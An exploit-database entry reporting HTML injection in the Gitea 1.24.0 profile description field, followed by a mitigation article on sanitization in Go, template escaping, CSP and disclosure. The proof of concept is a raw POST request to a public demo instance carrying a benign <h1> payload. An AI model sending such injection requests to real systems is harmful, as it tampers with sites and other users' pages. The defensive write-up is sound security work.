Gitea 1.24.0 - HTML Injection
# Exploit Title: Gitea 1.24.0 - HTML Injection
# Date: 2025-03-09
# Exploit Author: Mikail KOCADAĞ
# Vendor Homepage: https://gitea.com
# Software Link: https://dl.gitea.io/gitea/1.24.0/
# Version: 1.24.0
# Tested on: Windows 10, Linux Ubuntu 22.04
# CVE : N/A
## Vulnerability Description:
In Gitea 1.24.0, the "description" parameter on the user settings page is vulnerable to HTML Injection and potentially Reflected XSS. The user-supplied HTML content is not properly sanitized, allowing it to be executed in the browser. When a user saves their profile description containing malicious HTML or JavaScript code, the payload successfully executes, confirming the vulnerability.
## Exploit PoC:
[https://lh7-rt.googleusercontent.com/docsz/AD_4nXeh7FQb3EdM3-fPqRLqZ4Oh5JlVQdHjhBHEtPL5U9mEtTeWwiMdfx1SpyYC-Kg7EiWCy-Mpay8ZKz6WDw5hCYLrbCrAN2Dlg5xAnNIMuL9ui8ZNjH9GzD_rwdtjbGRkyoTP-uAd?key=pDzgPVQKg3NL0T6shAZ0U6Xz][https://lh7-rt.googleusercontent.com/docsz/AD_4nXc-OZUDyqxfXQV92GwjmahRYFv7BzYhJ5lG2F6slXNyRVRcgyB2yNbK_NMkFkWbU6IggK4xOkUDP5aukMiEjFS18zIc3DDUR7M0wivQMF2aWRt91yx_ayb7AB556Uot1LVUaa1z8w?key=pDzgPVQKg3NL0T6shAZ0U6Xz]
## Paload:<h1>deneme</h1>
### **1. Request:**
POST /user/settings HTTP/2
Host: demo.gitea.com
Cookie: _gid=GA1.2.1249205656.1740139988; _ga=GA1.2.291185928.1740139987; i_like_gitea=d9da795e317a0ced; lang=tr-TR; _ga_WBKVZF2YXD=GS1.1.1740139987.1.1.1740140041.6.0.0; _csrf=f9ITrnNQIzvSX-yvHX64qhoc_8w6MTc0MDE0MDY0MDQ2MTE0MDgyMQ
Content-Length: 312
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="133", "Not(A:Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: tr-TR,tr;q=0.9
Origin: null
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
_csrf=f9ITrnNQIzvSX-yvHX64qhoc_8w6MTc0MDE0MDY0MDQ2MTE0MDgyMQ
&full_name=Abuzettin
&description=%3Ch1%3Edeneme%3C%2Fh1%3E
&website=
&location=
&visibility=0
&keep_email_private=on Gitea 1.24.0 — HTML Injection in User Profile Description (Overview & Mitigation)
Summary: Gitea 1.24.0 contained an HTML injection vulnerability in the user profile description field. User-supplied HTML content was not consistently sanitized or encoded before being rendered in other users' browsers, which could lead to script execution (cross-site scripting) or unsafe HTML appearing in profiles. This article explains the root causes, potential impact, detection and mitigation strategies, and secure coding fixes for maintainers and administrators.
What is HTML Injection and how it differs from XSS?
HTML injection is the insertion of arbitrary HTML into a web page. When the injected HTML includes executable script or context that the browser treats as code, it becomes a cross-site scripting (XSS) issue. In a web application like Gitea, an HTML injection in a profile description can be stored (persisted) or reflected — both enable attackers to affect other users viewing the profile.
Root cause (high level)
- Unsanitized user input: profile descriptions were accepted and stored without sufficient sanitization or escaping.
- Unsafe rendering: the stored content was later rendered into pages in a way that allowed HTML to be interpreted by the browser (for example, by inserting raw HTML into templates or marking content as “trusted”).
- Output encoding missing: proper contextual output encoding (or use of safe templates) was not consistently applied.
Potential impact
- High risk: Execution of arbitrary JavaScript in visitors' browsers, enabling session theft, CSRF circumvention, or actions performed on behalf of authenticated users.
- Profile defacement or misleading content displayed to users.
- Phishing or social engineering via convincing content displayed in trusted UI.
- Reputation and trust damage for instances with public profiles.
Affected versions and remediation
| Affected | Version | Recommended action |
|---|---|---|
| Confirmed | Gitea 1.24.0 | Upgrade to the latest patched release; apply input sanitization and output-encoding fixes |
Detection and indicators
- Search stored profile descriptions for suspicious characters or tags such as "<" or "script".
- Monitor access logs for pages serving profile descriptions combined with unusual query parameters or referrers.
- Use automated scanners (security-focused static analysis and dynamic scanners) to detect reflected and stored XSS patterns on profile pages.
Defensive strategies — secure-by-design approaches
- Sanitize input at acceptance time: remove or whitelist HTML elements and attributes that are safe for the use case.
- Escape output in context: always use the templating system's escaping for the rendering context; prefer not to render raw HTML unless explicitly sanitized.
- Use a strict Content-Security-Policy (CSP) to limit script execution and mitigate impact.
- Limit allowed content: consider supporting plain text or restricted Markdown-only profiles rather than raw HTML.
- Harden cookies and session management: use HttpOnly and SameSite attributes to reduce theft impact.
Example: Server-side sanitization in Go (defensive)
import (
"github.com/microcosm-cc/bluemonday"
)
// sanitizeDescription applies a conservative user-generated content policy
// to remove scripts and potentially dangerous HTML while allowing harmless markup.
func sanitizeDescription(raw string) string {
p := bluemonday.UGCPolicy() // safe defaults for user content
// Optionally tweak the policy: remove certain tags or attributes if needed
return p.Sanitize(raw)
}Explanation: This code uses the bluemonday library (a widely used Go HTML sanitizer) and applies a UGC (user-generated content) policy that allows a safe subset of markup while stripping scripts, event handlers, and dangerous attributes. Integrate this sanitization step before storing the description in persistent storage.
Example: Safe rendering with html/template
import (
"html/template"
)
// Templates created with html/template automatically escape content for HTML contexts.
// Pass sanitized text (or plain text) to templates, and avoid using template.HTML on untrusted input.
tpl := template.Must(template.ParseFiles("profile.tmpl"))
// In handler, execute template with a struct containing the sanitized description.
Explanation: Go's html/template package escapes values by default when inserted into HTML contexts. Only use template.HTML for trusted, pre-sanitized content. Combining sanitization with safe templating reduces the risk of accidental HTML interpretation.
Content-Security-Policy (CSP) example
// Example HTTP header set by your web server or application:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'none';
Explanation: CSP limits the sources from which scripts and other resources can be loaded. While CSP is not a substitute for input sanitization, it mitigates the impact of many XSS vectors by preventing inline scripts and remote script loading when properly configured.
Secure deployment checklist for administrators
- Upgrade the Gitea instance to the vendor-released patch or the latest supported version as soon as available.
- Apply server-side sanitization for all rich-text/profile inputs; prefer whitelisting safe markup.
- Ensure templates use automatic escaping; avoid directly injecting raw HTML without sanitization.
- Deploy a strict CSP and set secure cookie flags (HttpOnly, Secure, SameSite).
- Audit custom plugins and integrations for similar issues that could bypass sanitization.
- Run automated security tests and manual reviews of UI surfaces that accept user input.
Responsible disclosure and reporting
If you discover a similar vulnerability, follow responsible disclosure practices: privately report to the project maintainers or security contact, provide reproduction steps and remediation suggestions, and allow time for a patch before public disclosure. For public instances, administrators should communicate updates and remediation steps to users promptly.
Conclusion
HTML injection in profile descriptions is a serious security issue because it combines stored content with browser execution contexts. The correct defense-in-depth approach is: sanitize inputs with a robust whitelist policy, always escape/untrusted output in templates, and add mitigations like CSP. Administrators should patch vulnerable versions, review sanitization logic, and monitor profiles for unsafe content.